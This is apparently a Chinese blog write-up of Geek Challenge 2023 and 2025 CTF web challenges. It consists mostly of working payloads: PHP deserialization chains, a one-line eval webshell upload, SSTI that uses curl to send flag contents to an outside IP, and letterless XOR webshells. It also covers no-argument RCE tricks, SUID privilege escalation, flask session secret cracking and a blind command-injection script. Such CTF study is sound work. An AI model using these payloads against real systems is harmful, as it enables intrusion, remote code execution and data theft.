极客大挑战-Web

极客大挑战2023-web-unsign

来签个到吧先

<?php
highlight_file(__FILE__);
class syc
{
  public $cuit;
  public function __destruct()
  {
      echo("action!<br>");
      $function=$this->cuit;
      return $function();
  }
}

class lover
{
  public $yxx;
  public $QW;
  public function __invoke()
  {
      echo("invoke!<br>");
      return $this->yxx->QW;
  }

}

class web
{
  public $eva1;
  public $interesting;

  public function __get($var)
  {
      echo("get!<br>");
      $eva1=$this->eva1;
      $eva1($this->interesting);
  }
}
if (isset($_POST['url']))
{
  unserialize($_POST['url']);
}

?>
链子:syc-dest->>$function() -> lover-__invoke()->>$this->yxx->QW -> web->get->>eval
exp:
<?php

class syc
{
  public $cuit;

}

class lover
{
  public $yxx;
  public $QW;

}

class web
{
  public $eva1;
  public $interesting;
}

$a = new syc();
$b = new lover();
$c = new web();
$a -> cuit = $b;
$b -> yxx = $c;
$c -> eva1 = "system";
$c -> interesting = "tac /f*";
echo serialize($a);
//O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:7:"tac /f*";}s:2:"QW";N;}}

极客大挑战2023-web-n00b_Upload

{“type”:”doc”,”content”:[{“type”:”heading”,”attrs”:{“level”:4},”content”:[{“type”:”text”,”text”:””扎古,扎古❤“”}]}]}

Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?= @eval($_POST[1]);?>
------WebKitFormBoundary23rRUoypB08Lidcr
Content-Disposition: form-data; name="submit"

提交

然后访问1.php进行rce就行

极客大挑战2023-web-easy_php

学了php了,那就来看看这些绕过吧

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
  if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
      if (isset($_POST['qw']) && $_POST['yxx']) {
          $array1 = (string)$_POST['qw'];
          $array2 = (string)$_POST['yxx'];
          if (sha1($array1) === sha1($array2)) {
              if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
                  echo $flag;
              } else {
                  echo "再绕最后一步吧";
              }
          } else {
              echo "好哩,快拿到flag啦";
          }
      } else {
          echo "这里绕不过去,QW可不答应了哈";
      }
  } else {
      echo "嘿嘿嘿,你别急啊";
  }
}else {
  echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>

不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!
第一步:syc=welcome%20to%20GEEK%202023!&lover=1e9
POST:

SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!&qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

ctf_curl

题目描述:命令执行?真的吗?

<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover

if (isset($_GET['addr'])) {
  $address = $_GET['addr'];
  if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
      $result = system("curl ".$address."> /dev/null");
  } else {
      echo "Hacker!!!";
  }
}
?>

可以使用无回显RCE中的http 信道带出文件内容

?addr=xxxxxx.requestrepo.com -T /tmp/Syclover,直接带出来/tmp/Syclover

极客大挑战2023-web-flag保卫战

jwt的之后在写

极客大挑战2023-web-klf_ssti

De1ty的广东朋友跟女神表白被骂klf,现在气急败坏,你知道klf是什么意思嘛?他现在依旧觉得他不是klf你们才是,你能拿到flag证明他是klf嘛…

f12出来

<!– 我好像藏了东西你找得到嘛klf–>

dirsearch扫一下出来

/hack?klf= ssti的

经过测试发现什么的没有回显,难受,看看能不能直接反弹shell

/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 不给你们看').read()}}
User-Agent: curl/7.74.0
Accept: */* 确实有回显,反弹shell直接打
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 不给不给/`ls /app/f*`').read()}}
回显
GET //app/fl4gfl4gfl4g HTTP/1.1
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 101.201.119.158:2333/`tac /app/fl4gfl4gfl4g`').read()}}
GET /GEEKa6683312-eb8e-4afe-9be2-68f9a43ea11a HTTP/1.1

极客大挑战2023-web-ez_remove

我想要回炉重造一波,怎么说,难道你不想吗

<?php
highlight_file(__FILE__);
class syc{
  public $lover;
  public function __destruct()
  {
      eval($this->lover);
  }
}

if(isset($_GET['web'])){
  if(!preg_match('/lover/i',$_GET['web'])){
      $a=unserialize($_GET['web']);
      throw new Error("快来玩快来玩~");
  }
  else{
      echo("nonono");
  }
}
?>
这里利用十六进制和GC绕过限制。
https://link.csdn.net/?from_id=134675568&target=https%3A%2F%2Fy4tacker.gitee.io%2F2021%2F02%2F03%2Fyear%2F2021%2F2%25E6%259C%2588%2Fphp%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%2F
https://blog.csdn.net/Jayjay___/article/details/132463913
O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}
->
O:3:"syc":1:{S:5:"lo\76er";s:10:"phpinfo();";【记得url编码】
GET:?web=O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";

POST:1=要执行的代码
可以蚁剑连接
http://80-482363ca-eeec-47e9-a9ab-143ed67daebc.challenge.ctfplus.cn/?web=O%3A3%3A%22syc%22%3A1%3A%7BS%3A5%3A%22lo%5C76er%22%3Bs%3A18%3A%22assert(%24_POST%5B1%5D)%3B%22%3B
记得编码 然后选择base64

极客大挑战2023-web-ez_path

提示

import os, uuid
from flask import Flask, render_template, request, redirect

app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []


class Article:
  def __init__(self, article_id, title, content):
      self.article_id = article_id
      self.title = title
      self.content = content


def generate_article_id():
  return str(uuid.uuid4())


@app.route('/')
def index():
  return render_template('index.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
  if request.method == 'POST':
      title = request.form['title']
      content = request.form['content']
      article_id = generate_article_id()
      article = Article(article_id, title, content)
      articles.append(article)
      save_article(article_id, title, content)
      return redirect('/')
  else:
      return render_template('upload.html')


@app.route('/article/<article_id>')
def article(article_id):
  for article in articles:
      if article.article_id == article_id:
          title = article.title
          sanitized_title = sanitize_filename(title)
          article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
          with open(article_path, 'r') as (file):
              content = file.read()
          return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
      return render_template('error.html') # 如果找不到对应的文章,则返回错误页面

def save_article(article_id, title, content):
  sanitized_title = sanitize_filename(title)
  article_path = ARTICLES_FOLDER + '/' + sanitized_title
  with open(article_path, 'w') as (file):
      file.write(content)




def sanitize_filename(filename):       #过滤函数,被过滤的字符都替换成下划线
  sensitive_chars = [
      ':',
      '*',
      '?',
      '"',
      '<',
      '>',
      '|',
      '.']
  for char in sensitive_chars:
      filename = filename.replace(char, '_')
  return filename


if __name__ == '__main__':
  app.run(debug=True)

发现这个存在Python 中的路径穿越在upload这个接口

def upload():
  if request.method == 'POST':
      title = request.form['title']
      content = request.form['content']
      article_id = generate_article_id()
      article = Article(article_id, title, content)
      articles.append(article)
      save_article(article_id, title, content)
      return redirect('/')
  else:
      return render_template('upload.html')
# os.path.join
>>> os.path.join('/home/download', '../../opt/logo.png')
/home/download/../../opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '../../opt/logo.png'
/home/download/../../opt/logo.png

【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】

# os.path.join
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png
# os.path.join
>>> os.path.join('/home/download', '../../opt/logo.png')
/home/download/../../opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '../../opt/logo.png'
/home/download/../../opt/logo.png

【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】

# os.path.join
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png

# pathlib
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png
https://blog.csdn.net/qq_36078992/article/details/122070641
有路径拼接,猜测/home路由也是路径拼接,用到了os.path.join()或者pathlib.Path()方法,所以造成了上述python路径穿越漏洞。

直接添加/f14444就欧克了

you konw flask?

jwt密钥的

爆破密钥脚本

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "wordlist.txt"

print("Generating wordlist... ")

with open(path,"w") as f:
  #permutations with repetition
  [f.write('wanbao'+"".join(x)+'=wanbao'+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
          obj.crack(iterator)

secret = ""
if obj.secret:
  secret =obj.secret.decode()
  print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)
工具:

解密session:flask-unsign --decode --cookie '获得的session'

爆破密钥:flask-unsign --unsign --cookie '获得的session'

加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

爆破指定字典:flask-unsign --unsign --cookie 'xxx --wordlist key.txt

通过伪造获得flag

Pupyy_rce

<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
  $var = $_GET['var'];
 
  if (!preg_match("/env|var|session|header/i", $var,$match)) {
      if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
      eval($_GET['var']);
      }
      else die("WAF!!");
  } else{
      die("PLZ DONT HCAK ME😅");
  }
}

无参数RCE

?var=print_r(scandir(getcwd()))%3B
 Array ( [0] => . [1] => .. [2] => error.log [3] => fl@g.php [4] => genshin01.txt [5] => index.php [6] => tiangou01.txt [7] => tiangou02.txt )
前置基础:
array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。
array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。
?var=show_source(array_rand(array_flip(scandir(getcwd())))); 随机爆查看里面的文件

晚上被这个无参数rce烦死了,正好过来总结一下

<?php
highlight_file(__FILE__);
$A = isset($_GET['pds2025']) ? $_GET['pds2025'] : null;
if ($A) {
  eval($A);
}
例题

利用这个

?pds2025=print_r(scandir('.'))%3B
Array ( [0] => . [1] => .. [2] => index.php )
?pds2025=var_dump(scandir('.'))%3Barray(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
array(3) {
  [0]=> string(1) "."     // 当前目录
  [1]=> string(2) ".."     // 上级目录  
  [2]=> string(9) "index.php" // 当前文件
}
?pds2025=print_r(scandir('/'))%3B 根目录下面发现有flag
直接readfile('/flag')%3B
正常确实是这样读的那利用其他的内置函数呢🤔🤔🤔
函数
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

eval()、assert():命令执行

hightlight_file()、show_source()、readfile():读取文件内容
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

代码

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
  eval($_GET['star']);
}

正则表达式 \W+((?R)?) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的

可以利用全局变量,也可以使用上面函数的组合拳

PHP 超级全局变量列表:
$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION
getenv
getenv(name)可以利用此函数获取一个名为name环境变量的值

?star=var_dump(getenv(phpinfo())); 返回phpinfo()👌
不过不能rce😢
get_defined_vars()

返回所有已定义变量的值,所组成的数组

返回数组顺序为GET->POST->COOKIE->FILES

print_r(get_defined_vars());

如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:

a=eval(end(current(get_defined_vars())));&b=phpinfo(); 输出phpinfo()命令
session_id

从Cookie下手

首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现

法一:hex2bin()

我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

<?php
$encoded = bin2hex("phpinfo();");
echo $encoded;
?>

得到phpinfo();的十六进制编码,即706870696e666f28293b

?参数=eval(hex2bin(session_id(session_start())));同时更改cookie后的值为想执行的命令的十六进制编码
法二:[读文件]

如果已知文件名,把文件名写在PHPSESSID后面,构造payload为:

readfile(session_id(session_start())); 
Cookie:PHPSESSID=canshu.php
getallheaders()

getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)

当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

var_dump(end(getallheaders()));
需要自己添加的请求头, end()指向最后一行的值,达到phpinfo的目的,然后可以进一步去rce。
chdir()&array_rand()赌狗读文件
利用getcwd()获取当前目录:

var_dump(getcwd());
结合dirname()列出当前工作目录的父目录中的所有文件和目录:

var_dump(scandir(dirname(getcwd())));
读上一级文件名:
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

读根目录:

ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr)解码,有概率会解码出斜杠读取根目录

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

要用chdir()固定,payload:

show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));
import requests
import string
import time
url = 'http://127.0.0.1/1.php?star='
dic = string.printable[:-6]
flag = ''
for i in range(1, 50):
judge = 0
for j in dic:
now = f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j}
];then sleep 2;fi'
start = time.time()
r = requests.get(now)
end = time.time()
if int(end) - int(start) > 1:
judge = 1
flag += j
print(flag)
break
if judge == 0:
break
print(flag)

之后补充

极客大挑战2023-web-famale_imp_l0ve

只能上传.zip

查看源码,发现一个包含功能的文件/include.php

<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
  include($file);
}
?>

通过php伪协议访问上传的zip文件,使用phar://协议。phar://协议可以读取任意后缀压缩包中的内容,如.zip

先上传一个1.zip文件,其中包含一句话马,马文件后缀是.jpg。
GET:
/include.php?file=phar:///var/www/upload/1.zip/1.jpg

POST:
cmd=system('tac /flag');

极客大挑战2023-web-EzRce

<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
  eval($data);
}else{
  echo "no!";
}
?>

貌似过滤单个字符和数字,那就无字母RCE。(多试试就知道了)

使用异或就出来了

?data=("%0f%08%0f%09%0e%06%0f"^"%7f%60%7f%60%60%60%60")()%3B phpinfo()
读取waf文件highlight_file('waf.php')
("%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05"^"%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60")("%08%01%06%01%0f%08%0f"^"%7f%60%60%2f%7f%60%7f")%3B
function waf($data){ 
  if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){
      return False;
  }else{
      return True;
  }
}

利用p神的一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

<?php
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
eval($___[_]); // eval($_POST[_]);
payload:
?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']')%3B$___=$$__%3Beval($___[_])%3B
POST:_=phpinfo()%3B
_=_=file_put_contents('1.php','<?=eval($_POST[1]);?>')%3B 写上去小🐎

然后发现打开/flag文件是空的,应该是没有权限,在网上发现是suid提权

红队笔记之Suid提权浅析与利用方法总结_suid提权、-CSDN博客

find / -user root -perm -4000 -print 2>/dev/null
查看有没有什么可以让我提升权限的😍 发现有find
touch一个文件1
find 1 -exec cat /flag \;出来flag
拿到flag,记得把空格转换为下划线

极客大挑战2023-web-ez_php

我的女神呢?快帮我找找
今天是5.20日,多么美好的节日,我决定了,我要向你表达心意,可你一直不回我消息,我找不到你了,看见这条的bro可以帮我找到她吗,我把秘密藏在一个页面里面了,我先去准备给她的惊喜了,请你帮我先找找她,找到就给你flag噢
好兄弟快来帮我找
点进去
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');

class Me {
  public $qwe;
  public $bro;
  public $secret;

  public function __wakeup() {
      echo("进来啦<br>");
      $characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
      $randomString = substr(str_shuffle($characters), 0, 6);
      $this->secret=$randomString;

      if($this->bro===$this->secret){
      $bb = $this->qwe;        
      return $bb();
      }
       
      else{
          echo("错了哥们,再试试吧<br>");
      }
  }

}

class her{
  private $hername;
  private $key;
  public $asd;
  public function __invoke() {
      echo("好累,好想睡一觉啊<br>");
      serialize($this->asd);
  }

  public function find() {
      echo("你能找到加密用的key和她的名字吗?qwq<br>");
      if (encode($this->hername,$this->key) === 'vxvx') {
          echo("解密成功!<br>");
          $file=$_GET['file'];

          if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
          {
              echo("快点的,急急急!!!<br>");
              echo new $_POST['ctf']($_GET['fun']);
          }
          else{
              echo("真的只差一步了!<br>");
          }
      }
      else{
          echo("兄弟怎么搞的?<br>");
      }
  }
}

class important{
  public $power;

  public function __sleep() {
      echo("睡饱了,接着找!<br>");
      return $this->power->seeyou;
  }
}

class useless {
  private $seeyou;
  public $QW;
  public $YXX;

  public function __construct($seeyou) {
      $this->seeyou = $seeyou;
  }

  public function __destruct() {
      $characters = '0123456789';
      $random = substr(str_shuffle($characters), 0, 6);

      if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
          if((strlen($this->QW))<80 && strlen($this->YXX)<80){
              $bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
              if($bool){
              echo("快拿到我的小秘密了<br>");
                  $a = isset($_GET['a'])? $_GET['a']: "" ;

                  if(!preg_match('/HTTP/i', $a)){
                      echo (basename($_SERVER[$a]));
                      echo ('<br>');

                      if(basename($_SERVER[$a])==='key.php'){
                          echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
                          $file = "key.php";
                          readfile($file);
                      }
                  }
                  else{
                      echo("你别这样,她会生气的┭┮﹏┭┮");
                  }
              }
          }
          else{
              echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");
          }
      }
  }
  public function __get($good) {
      echo "you are good,你快找到我爱的那个她了<br>";
      $zhui = $this->$good;  
      $zhui[$good]();  
  }
}

if (isset($_GET['user'])) {
  $user = $_GET['user'];
  if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
      unserialize($user);
  }
  else {
      echo("不是吧,第一层都绕不过去???<br>");
  }
}
else {
  echo("快帮我找找她!<br>");
}
?> 快帮我找找她!
if (isset($_GET['user'])) {
  $user = $_GET['user'];
  if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
      unserialize($user);
  }
  else {
      echo("不是吧,第一层都绕不过去???<br>");
  }
}
else {
  echo("快帮我找找她!<br>");
}
先看最后的:发现有正则匹配:参考绕过Oa:\d的正则,使用C属性
然后就开始看pop链子了
Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()

之后补上吧

2025web

这边加上一手官方wp

‌‌‬‍‌‍⁠‍‌‌‬⁠‍⁠‌‬‍‬⁠‌‌第十六届极客大挑战官方 Writeup – 飞书云文档

week1

阿基里斯追乌龟

抓包在里面发现

{"data":"eyJhY2hpbGxlc19kaXN0YW5jZSI6MTEwMDAwMDAwMDAsInRvcnRvaXNlX2Rpc3RhbmNlIjoxMTEwMDAwMDAwMH0="}

是这样的,然后改一下让阿基里斯大于乌龟就ok了

popself

有同学跟我说他只会做一个类的php反序列化题,那来试试看

<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
  public $KiraKiraAyu;
  public $_4ak5ra;
  public $K4per;
  public $Samsāra;
  public $komiko;
  public $Fox;
  public $Eureka;
  public $QYQS;
  public $sleep3r;
  public $ivory;
  public $L;

  public function __set($name, $value){
      echo "他还是没有忘记那个".$value."<br>";
      echo "收集夏日的碎片吧<br>";

      $fox = $this->Fox;

      if ( !($fox instanceof All_in_one) && $fox()==="summer"){
          echo "QYQS enjoy summer<br>";
          echo "开启循环吧<br>";
          $komiko = $this->komiko;
          $komiko->Eureka($this->L, $this->sleep3r);
      }
  }

  public function __invoke(){
      echo "恭喜成功signin!<br>";
      echo "welcome to Geek_Challenge2025!<br>";
      $f = $this->Samsāra;
      $arg = $this->ivory;
      $f($arg);
  }
  public function __destruct(){

      echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

      if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
          if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
              die("boys和而不同<br>");
          }

          if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
              echo "BOY♂ sign GEEK<br>";
              echo "开启循环吧<br>";
              $this->QYQS->partner = "summer";
          }
          else {
              echo "BOY♂ can`t sign GEEK<br>";
              echo md5(md5($this->KiraKiraAyu))."<br>";
              echo md5($this->K4per)."<br>";
          }
      }
      else{
          die("boys堂堂正正");
      }
  }

  public function __tostring(){
      echo "再走一步...<br>";
      $a = $this->_4ak5ra;
      $a();
  }

  public function __call($method, $args){        
      if (strlen($args[0])<4 && ($args[0]+1)>10000){
          echo "再走一步<br>";
          echo $args[1];
      }
      else{
          echo "你要努力进窄门<br>";
      }
  }
}
class summer {
  public static function find_myself(){
      return "summer";
  }
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
  unserialize($payload);
} else {
  echo "没有大家的压缩包的话,瓦达西!<br>";
}
?>

这里使用到了php里面md5的一个小特性(感觉php)处理 “数字e数字” 这样的字符串时会认为是科学计数法

md5("0e123") == md5(0) //true
md5("0e123") == md5("0e456") //true

其中

(md5(md5($this->KiraKiraAyu))==md5($this->K4per
import hashlib
import itertools
import string

def md5(s: str) -> str:
   return hashlib.md5(s.encode()).hexdigest()

def is_magic_hash(h: str) -> bool:
   # 检查是否符合 0e\d+ 格式
   return h.startswith("0e") and h[2:].isdigit()

def search():
   chars = string.ascii_letters + string.digits
   for length in range(1, 6):  # 先尝试长度 1-5
       for s in itertools.product(chars, repeat=length):
           s = "".join(s)
           h1 = md5(s)
           h2 = md5(h1)
           if is_magic_hash(h2):
               print(f"[FOUND] {s} -> md5(md5(s)) = {h2}")
               return
   print("没找到符合条件的字符串(至少在测试范围内)。")

if __name__ == "__main__":
   search()

跑出来是f2WfQ是双重 MD5 哈希值为 Magic Hash(魔术哈希)” 的字符串

strlen($args[0])<4 && ($args[0]+1)>10000

然后还有一个这个,同样是利用了数值字符串的特性,当我们传的是3e4是,会拿3与4作比较,然后后面是3*10^4+1>10000使其成立

<?php

class All_in_one
{
  public $KiraKiraAyu;
  public $_4ak5ra;
  public $K4per;
  public $Samsāra;
  public $komiko;
  public $Fox;
  public $Eureka;
  public $QYQS;
  public $sleep3r;
  public $ivory="zzz";
  public $L;
}

class summer {
  public static function find_myself(){
      return "summer";
  }
}

$a = new All_in_one();
$a->KiraKiraAyu = "f2WfQ";
$a->K4per = "QNKCDZO";
$a->QYQS = new All_in_one();
$a->QYQS->Fox=["summer","find_myself"];
$a->QYQS->L = "2e4";

$a->QYQS->komiko = new All_in_one();
$a->QYQS->sleep3r = new All_in_one();

$a->QYQS->sleep3r->_4ak5ra = new All_in_one();
$a->QYQS->sleep3r->_4ak5ra->ivory = "env";
$a->QYQS->sleep3r->_4ak5ra->Samsāra = "system";

echo urlencode(serialize($a));

?>

这个魔术方法先去触发__destruct(),然后通过QYQS->partner去触发set,并且$a->QYQS->Fox=[“summer”,”find_myself”];让他去返回

summer会调用$komiko->Eureka($this->L, $this->sleep3r)然后触发_call ()这个魔术方法之后echo $args[1];去触发tostring这个魔术方法$a->QYQS->sleep3r->4ak5ra = new All_in_one();->_toString()规则会调用_4ak5ra()(把_4ak5ra 盒子当成函数用),触发__invoke()规则然后去执行$f($arg)触发命令system(‘env’);拿下flag(官方厉害)

one_last_image

他并没有去过滤php,不过怎么去执行命令成了问题,以字符串的形式过滤了常见的php标签以及命令执行函数

使用短标签绕过

Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: image/jpeg

<?=`env`;
<?=('sys'.'tem')('env');//每一个都行

Vibe SEO

“我让 AI 帮我做了搜索引擎优化,它好像说什么『搜索引擎喜欢结构化的站点地图』,虽然不是很懂就是了”

这个开场就是好看哈,sitemap.xml 是最常用的结构化站点地图文件

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<script/>
<url>
<loc>http://localhost/</loc>
<changefreq>weekly</changefreq>
</url>
<url>
<loc>http://localhost/aa__^^.php</loc>
<changefreq>never</changefreq>
</url>
</urlset>

直接去访问aa__^^.php

Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 3

Deprecated: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/html/aa__^^.php on line 3

Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 4

Deprecated: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in /var/www/html/aa__^^.php on line 4

